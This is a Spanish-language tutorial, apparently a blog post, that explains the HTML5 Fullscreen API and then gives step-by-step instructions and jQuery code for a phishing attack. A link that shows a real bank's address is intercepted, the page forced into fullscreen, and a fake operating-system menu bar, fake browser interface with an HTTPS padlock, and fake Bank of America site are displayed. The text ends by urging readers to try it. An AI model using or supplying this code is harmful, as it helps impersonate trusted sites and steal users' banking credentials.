¿Qué es Pantalla Completa?
El API de pantalla completa permite a los desarrolladores mostrar contenido web donde se muestre por completo la pantalla completa.
¿Cómo funciona?
Todos hemos visto funcionar el API en ocasiones comunes, algunos ejemplos claros usando la pantalla completa son los siguientes:
- Cuando vemos un video en Youtube con el reproductor de HTML5
- Vista de una foto desde Facebook.
Un dato muy importante es que se debe activar la función Full Screen en la mayoría de los navegadores, cosa que sucede desde hace ya algún tiempo. Por tal motivo el uso del API de HTML5 es totalmente diferente y una genial solución al problema, permitiendo a los desarrolladores web acceder a esta funcionalidad mediante programación.
Esto es bueno porque el desarrollador puede diseñar un botón de pantalla completa que se vea como parte del sitio.
Podemos activar el modo de pantalla completa con el siguiente código:
elementToMakeFullscreen.requestFullScreen();
Hay una restricción principal que los desarrolladores deben tomar en cuenta para activar la función Full Screen; una respuesta a un clic o pulsación de tecla. Esto con el fin de que sitios incompletos inmediatamente no puedan ponerse en pantalla completa cuando se acceda al mismo.
// Assuming jQuery is available
// Fullscreen the HTML document on click
$('#fullscreen-button').on('click', function() {
var doc = document.documentElement;
if (doc.requestFullscreen) {
doc.requestFullscreen();
}
});
Te en cuenta que en la práctica es necesario utilizar las versiones prefijo (mozRequestFullScreen () y webkitRequestFullScreen ()) ya que la especificación no es definitiva.
¿Cómo hacer que funcione el ataque?
Paso 1. Crea un enlace a un sitio en el que el usuario confía:
Visit <a href="https://www.bankofamerica.com">Bank of America</a> for mediocre banking services.
El usuario puede pasar el ratón sobre el enlace y su barra de estado mostrará la dirección https://www.bankofamerica.com, como sucede normalmente.
Sin embargo, cuando el usuario hace clic en el enlace, debes llamar la función event.preventDefault () para evitar que el navegador valla hacia el enlace. En su lugar, activaremos el modo de pantalla completa insertando OS falso e IU navegador a la página junto con una versión falsa de que el sitio sea phishing.
$('html').on('click keypress', 'a', function(event) {
// Prevent navigation to legit link
event.preventDefault();
event.stopPropagation();
// Trigger fullscreen
if (elementPrototype.requestFullscreen) {
document.documentElement.requestFullscreen();
} else if (elementPrototype.webkitRequestFullScreen) {
document.documentElement.webkitRequestFullScreen(Element.ALLOW_KEYBOARD_INPUT);
} else if (elementPrototype.mozRequestFullScreen) {
document.documentElement.mozRequestFullScreen();
} else {
// fail silently
}
// Show fake OS and browser UI
$('#menu, #browser').show();
// Show fake target site
$('#target-site').show();
});
Es muy importante que el falso sistema operativo y la interfaz de usuario vayan de la mano con el navegador del usuario. Por ejemplo, si el usuario utiliza Chrome en OS X y hace clic en el vínculo, se mostrará una falsa barra de menús en OS X y la interfaz de usuario falso en Chrome con un candado verde para HTTPS en el Bank of America.
¿Qué te parece la información? Podrás obtener ejemplos y observar con tus propios ojos el ejemplo que se presentó anteriormente desde la página oficial.
Ponlo en práctica y coméntanos al respecto.
